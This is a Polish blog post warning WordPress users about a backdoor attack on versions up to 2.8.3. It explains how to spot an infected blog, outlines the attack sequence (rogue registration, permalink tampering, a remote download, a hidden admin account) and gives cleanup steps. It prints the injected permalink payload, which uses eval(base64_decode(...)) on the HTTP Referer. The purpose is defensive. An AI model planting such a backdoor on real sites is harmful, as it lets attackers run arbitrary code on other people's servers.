W starszych wersjach WordPress’a została odkryta krytyczna dziura związana z bezpieczeństwem. Ilość zaatakowanych stron rośnie z godziny na godzinę. Jest tak poważna, że Lorelle VanFossen w swoim poście na blogu zaleca wykonanie aktualizacji do najnowszej wersji przed kontynuacją czytania!
Z tego co on pisze, najnowsza wersja WordPressa (2.8.4) jest bezpieczna. Jak do tej pory nie jest jeszcze znana dokładna lista wersji WP które są podatne na ten atak.
Zaatakowane blogi można rozpoznać na kilka sposobów. Po pierwsze zmienia się format permalinków – dokładana jest dziwna końcówka, np. example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
. Zwróć uwagę na nazwy dwóch funkcji PHP – eval
i base64_decode
. Jest to prawdopodobnie backdoor (tylne wejście), dzięki któremu atakujący mogą wykonać dowolny kod PHP na serwerze, wysyłając go po zakodowaniu Base64 jako Referer!
Druga sprawa to dodatkowy użytkownik z uprawnieniami admina. Przejrzyj swoją listę użytkowników czy nie ma na niej kogoś nowego, np. „Administrator (2)” albo „WordPress”. Część osób pisała też że ten użytkownik jest ukryty – trzeba więc sprawdzić bezpośrednio w bazie danych, w tabeli wp_users
, czy ten dodatkowy użytkownik istnieje. Inna możliwość to ręczne policzenie ile użytkowników wyświetla się na liście użytkowników, i porównanie tej liczby z sumą użytkowników wyświetlaną nad listą – jeżeli jest różnica, to masz ukrytego użytkownika (albo błąd w liczeniu).
Jeżeli Twój blog został zaatakowany, to najprostszą metodą jego przywrócenia do poprzedniego stanu będzie wyeksportowanie zawartości do pliku XML, skopiowanie obrazków i innych plików które wrzuciłeś do tej pory, a następnie usunięcie wszystkiego z serwera, zainstalowanie od nowa i zaimportowanie treści z pliku XML. Uwaga: baza danych musi być odtworzona od nowa, gdyż ten atak dokonuje wiele zmian w bazie danych! Poniżej opisuję prostszą metodę.
Update: Z tego co doczytałem, zagrożone są wszystkie wersje WP do 2.8.3 włącznie, bezpieczna jest tylko 2.8.4 (chociaż to też nie jest na 100% pewne). Sam atak przebiega następująco: atakujący najpierw rejestruje nowego użytkownika. Następnie loguje się na niego, otwiera stronę wp-admin//options-permalink.php (te dwa slashe są tutaj bardzo istotne) i modyfikuje format permalinków. Po tym wywołuje plik xmlrpc.rpc, podając jako referera zakodowany skrypt php – ustawia on kilka zmiennych, ściąga plik z chińskiego serwera i wykonuje go. Za jego pomocą tworzy nowego użytkownika, nadaje mu prawa admina i jako jego imię ustawia specjalny skrypt JavaScript, który jest odpowiedzialny za jego ukrycie na liście użytkowników. Dodatkowo usuwa też wszystkich użytkowników których imię ma ponad 25 znaków (to jest chyba forma zabezpieczenia przed wielokrotnym zainfekowaniem bloga), oraz wyłącza możliwość rejestracji nowych użytkowników.
Aby przywrócić bloga do wcześniejszego stanu, po pierwsze dokonaj aktualizacji do najnowszej wersji (WP 2.8.4). Następnie zaloguj się do panelu administracyjnego, wejdź na stronę Ustawienia / Bezpośrednie odnośniki i usuń tam z permalinków dodany dodatkowy fragment (opisałem go powyżej). Następnie przejdź na stronę z listą użytkowników bloga. Dodatkowy administrator jest ukryty, gdyż jako Imię ma wpisany kawałek kodu JavaScript który usuwa odpowiedni wiersz z wyświetlanej tabeli. Są dwa rozwiązania aby się do niego dostać: pierwsze to wyłączenie JavaScript w przeglądarce (FireFox – Narzędzia / Opcje / Treść / Włącz obsługę języka Java Script, albo za pomocą pluginu NoScript; Opera – Narzędzia / Preferencje / Zaawansowane / Zawartość / Włącz obsługę JavaScript; IE – Narzędzia / Opcje internetowe / Zabezpieczenia, zaznacz ikonkę Internet, następnie kliknij Poziom niestandardowy / Obsługa skryptów / Wykonywanie aktywnych skryptów / Wyłącz) – po odświeżeniu strony ten dodatkowy użytkownik się pojawi na liście. Druga możliwość to sprawdzenie jakie ID ma ostatni zarejestrowany użytkownik, dodanie od niego jeden i otworzenie strony jego edycji ręcznie – tzn. poprawiając odpowiednio adres URL. Jak to się zrobi, to najlepiej go usunąć całkowicie. Na liście użytkowników powinien być też dodatkowy użytkownik zarejestrowany w pierwszym kroku ataku – odszukaj go i też usuń.
Poza tym musisz też przejrzeć katalogi (w szczególności wp-content/uploads) czy nie ma tam podejrzanych plików, i je usunąć. Możesz też przeszukać całą swoją instalację WP pod kątem plików zawierających tekst „function gpc_” albo „silence is golden”.
Na koniec warto się trochę zabezpieczyć – zablokuj rejestrację nowych użytkowników, usuń albo zmień nazwę pliku xmlrpc.php (w ten sposób jednak stracisz możliwość odbierania trackbacków, i możliwości zarządzania blogiem i dodawania wpisów z pewnych programów), oraz zmień nazwę pliku wp-admin/options-permalink.php. Z tego co czytałem, to plik xmlrpc.php w ogóle warto usunąć, gdyż w przeszłości były już z nim inne problemy.
Więcej na ten temat możecie poczytać np. na oficjalnym forum WordPress’a. Możecie też w Googla wrzucić hasło „eval(base64_decode” wordpress – w ten sposób znajdziecie wiele innych materiałów na ten temat.
Komentarze